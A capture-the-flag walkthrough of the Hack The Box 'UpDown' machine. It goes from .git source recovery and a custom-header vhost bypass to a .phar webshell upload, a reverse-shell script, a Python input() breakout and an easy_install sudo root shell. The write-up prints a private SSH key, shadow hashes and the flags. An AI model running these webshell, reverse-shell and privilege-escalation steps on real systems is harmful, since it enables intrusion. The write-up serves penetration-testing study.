USER
Step 1
➜ updown nmap -Pn -n -p- 10.129.5.88
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
➜ updown nmap -Pn -n -p22,80 -sCV 10.129.5.88
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
| 256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_ 256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
==> DIRECTORY: http://10.129.5.88/dev/
+ http://10.129.5.88/index.php (CODE:200|SIZE:1131)
+ http://10.129.5.88/server-status (CODE:403|SIZE:276)
---- Entering directory: http://10.129.5.88/dev/ ----
+ http://10.129.5.88/dev/.git/HEAD (CODE:200|SIZE:21)
+ http://10.129.5.88/dev/index.php (CODE:200|SIZE:0)
Visiting the webservice on port 80 we find a site that lets us check if a website is Up or Down. In the footer we find the domain siteisup.htb
, add it to /etc/hosts
As dirbuster found a .git
directory, that also have directory listing, we can simply download all the files using wget:
➜ updown wget --mirror -I /dev/.git siteisup.htb/dev/.git/
Changing directory to the /dev
folder, our zsh shell tells us that we’re now in a git-tracked directory (see the ‘main’-branch hint).
➜ .git git:(main) pwd
/htb/updown/siteisup.htb/dev/
We can from here run git-commands, find changes and restore files.
➜ dev git:(main) ✗ git status
On branch main
Your branch is up to date with 'origin/main'.
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: .htaccess
deleted: admin.php
deleted: changelog.txt
deleted: checker.php
deleted: index.php
deleted: stylesheet.css
➜ dev git:(main) git restore admin.php changelog.txt checker.php .htaccess index.php stylesheet.css
➜ dev git:(main) git status
On branch main
Your branch is up to date with 'origin/main'.
nothing to commit, working tree clean
➜ dev git:(main) ls -al
total 40
drwxr-xr-x 3 void void 4096 Sep 6 10:00 .
drwxr-xr-x 3 void void 4096 Sep 6 09:55 ..
-rw-r--r-- 1 void void 59 Sep 6 10:00 admin.php
-rw-r--r-- 1 void void 147 Sep 6 10:00 changelog.txt
-rw-r--r-- 1 void void 3145 Sep 6 10:00 checker.php
drwxr-xr-x 8 void void 4096 Sep 6 10:00 .git
-rw-r--r-- 1 void void 117 Sep 6 10:00 .htaccess
-rw-r--r-- 1 void void 273 Sep 6 10:00 index.php
-rw-r--r-- 1 void void 5531 Sep 6 10:00 stylesheet.css
Looking through the files we find that there’s probably a upload function somewhere:
➜ dev git:(main) cat changelog.txt
Beta version
1- Check a bunch of websites.
-- ToDo:
1- Multithreading for a faster version :D.
2- Remove the upload option.
3- New admin panel.
Interesting source code from checker.php
:
➜ dev git:(main) cat checker.php
[... snip ...]
function isitup($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, trim($url));
curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$f = curl_exec($ch);
$header = curl_getinfo($ch);
if($f AND $header['http_code'] == 200){
return array(true,$f);
}else{
return false;
}
curl_close($ch);
}
if($_POST['check']){
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
}
}
# Delete the uploaded file.
@unlink($final_path);
}
Index.php:
➜ dev git:(main) cat index.php
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
define("DIRECTACCESS",false);
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
?>
No matter how much I try to get to anything else then checker.php
it fails.. so instead of wasting more time, lets dig deeper into .git
➜ dev git:(main) git log
[... snip ...]
commit 8812785e31c879261050e72e20f298ae8c43b565
Author: Abdou.Y <84577967+ab2pentest@users.noreply.github.com>
Date: Wed Oct 20 16:38:54 2021 +0200
New technique in header to protect our dev vhost.
commit bc4ba79e596e9fd98f1b2837b9bd3548d04fe7ab
Author: Abdou.Y <84577967+ab2pentest@users.noreply.github.com>
Date: Wed Oct 20 16:37:20 2021 +0200
Update .htaccess
New technique in header to protect our dev vhost.
➜ dev git:(main) git diff bc4ba79e596e9fd98f1b2837b9bd3548d04fe7ab
diff --git a/.htaccess b/.htaccess
index 44ff240..b317ab5 100644
--- a/.htaccess
+++ b/.htaccess
@@ -2,3 +2,4 @@ SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
With this information, there should be a vhost named dev
and we should reach it but using header Special-Dev "only4dev"
. We can verify that this works with curl (curl http://dev.siteisup.htb -H 'Special-Dev: only4dev'
), but if you want to view it in Firefox we can add a Session Handling Rule in Burp and invoke the extension Add Custom Header.
Burp Extension Add Custom Header:
Project Options > Add Session Handling Rules > Invoke a Burp extension:
Change URL Scope and add Proxy to Tools Scope, and you should now be able to browse http://dev.siteisup.htb
and upload files:
Step 2
We know from the source code (checker.php
) that following extensions is blocked: php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar
. We also have to adapt to the max file size of 10kb: $_FILES['file']['size'] > 10000
Lastly, the following wrappers are also blocked: !preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site
Reading about file upload on HackTricks these are listed as usefull extensions for PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
Playing around and testing to upload stuff I am able to upload this file:
➜ updown cat shell.pht
<?php echo "Shell";system($_GET['cmd']); ?>
However when looking in the uploads directory (http://dev.siteisup.htb/uploads/
) a directory is created but no file is in the dir.. Going back to the code, this probably have something to do with below line from checker.php
, that’s invoked after reading the uploaded file.
# Delete the uploaded file.
@unlink($final_path);
After a lot of playing around I noticed that when uploading a file, simply add some URL in the end of your code so the server will spend time to check if it’s up or not. This will keep the file alive long enough for us to see the content.
➜ updown cat shell.phar
<?php phpinfo(); ?>
https://exploit.se
https://exploit.se
The disabled_functions
are as following:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen
Our normal one-line webshell are hurting since system
, passthru
, shell_exec
, exec
, popen
and pcntl_exec
are all disabled, however proc_open
is not. Here’s a list of dangerous php functions.
To stream line this process I wrote a script to write a malicious .phar
file, upload the it to the target and gather the data. The script have two flags.. .. -c
/ --command
for command injection .. -r
/ reverse
automatically trigger a reverse shell
➜ updown python3 updown_rce.py -c "hostname && id"
_ _ ____
| | | |_ __ | _ \ _____ ___ __
| | | | '_ \| | | |/ _ \ \ /\ / / '_ \
| |_| | |_) | |_| | (_) \ V V /| | | |
\___/| .__/|____/ \___/ \_/\_/ |_| |_|
|_| by 0xPThree - exploit.se
[+] File uploaded to: http://dev.siteisup.htb/uploads/1e0087c3c8c5df2f1f97f1cd169b705f/05f6adf04d44.phar
[+] Executing command 'hostname && id'...
[+] Response: updown
uid=33(www-data) gid=33(www-data) groups=33(www-data)
https://exploit.se
time elapsed: 0.284085750579834 seconds
➜ updown python3 updown_rce.py -r
_ _ ____
| | | |_ __ | _ \ _____ ___ __
| | | | '_ \| | | |/ _ \ \ /\ / / '_ \
| |_| | |_) | |_| | (_) \ V V /| | | |
\___/| .__/|____/ \___/ \_/\_/ |_| |_|
|_| by 0xPThree - exploit.se
[+] File uploaded to: http://dev.siteisup.htb/uploads/102fe1680abe9017c824e82855db0674/71926ca1faf8.phar
[+] Preparing reverse shell
[+] Starting listener on port 4488
listening on [any] 4488 ...
connect to [10.10.14.14] from (UNKNOWN) [10.129.4.182] 41428
/bin/sh: 0: cant access tty; job control turned off
$ id && hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
updown
Full script is found HERE.
Step 3
With a shell, the privilege escalation vector is quite obvious, we have SUID bit as developer
on siteisup
binary:
www-data@updown:/home/developer/dev$ ls -al
total 32
drwxr-x--- 2 developer www-data 4096 Jun 22 15:45 .
drwxr-xr-x 6 developer developer 4096 Aug 30 11:24 ..
-rwsr-x--- 1 developer www-data 16928 Jun 22 15:45 siteisup
-rwxr-x--- 1 developer www-data 154 Jun 22 15:45 siteisup_test.py
www-data@updown:/home/developer/dev$ file siteisup
siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not stripped
We can assume that the code from siteisup
is the same as the python script:
www-data@updown:/home/developer/dev$ cat siteisup_test.py
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"
import()
is generally seen as a dangerous function, together with eval()
and exec()
, we can easily break out from the program and get a shell as developer
:
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:__import__('os').system('/bin/bash')
developer@updown:/home/developer/dev$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)
developer@updown:/home/developer$ cat user.txt
107ab9b44d8853f426ebe841cdae9cbf
developer@updown:/home/developer/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
ROOT
Step 1
Running sudo -l
shows us the privilege escalation vector:
developer@updown:/dev/shm$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install
Looking up easy_install on gtfobins we get the syntax to instantly spawn a root shell.
developer@updown:/dev/shm$ TF=$(mktemp -d)
developer@updown:/dev/shm$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:/dev/shm$ sudo /usr/local/bin/easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.i7LFwunRkU
Writing /tmp/tmp.i7LFwunRkU/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.i7LFwunRkU/egg-dist-tmp-2bXqH_
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
72fa86fbc9173578b5df7f17dd9d3933
# cat /etc/shadow
root:$6$35UwqDmGM31K3z1O$EV0yHaLbvEqQ1YfxHOl4fMFHnR0O0Lo7RSnFGpYdfUwBmec0/5JWenL6GLivYgeka8Z4XyYW2UhWOV5UOdK0w.:19165:0:99999:7:::
developer:$6$LkPh3nNMEVO.zmIc$I/j67KSo1n7pR.fzcMfH/hc/8EYISX8JUtDpoc7iMIiYEhX4bgVXPV4L6Gam3AvxMd46wh5XTulsxbpy9ezLf/:19165:0:99999:7:::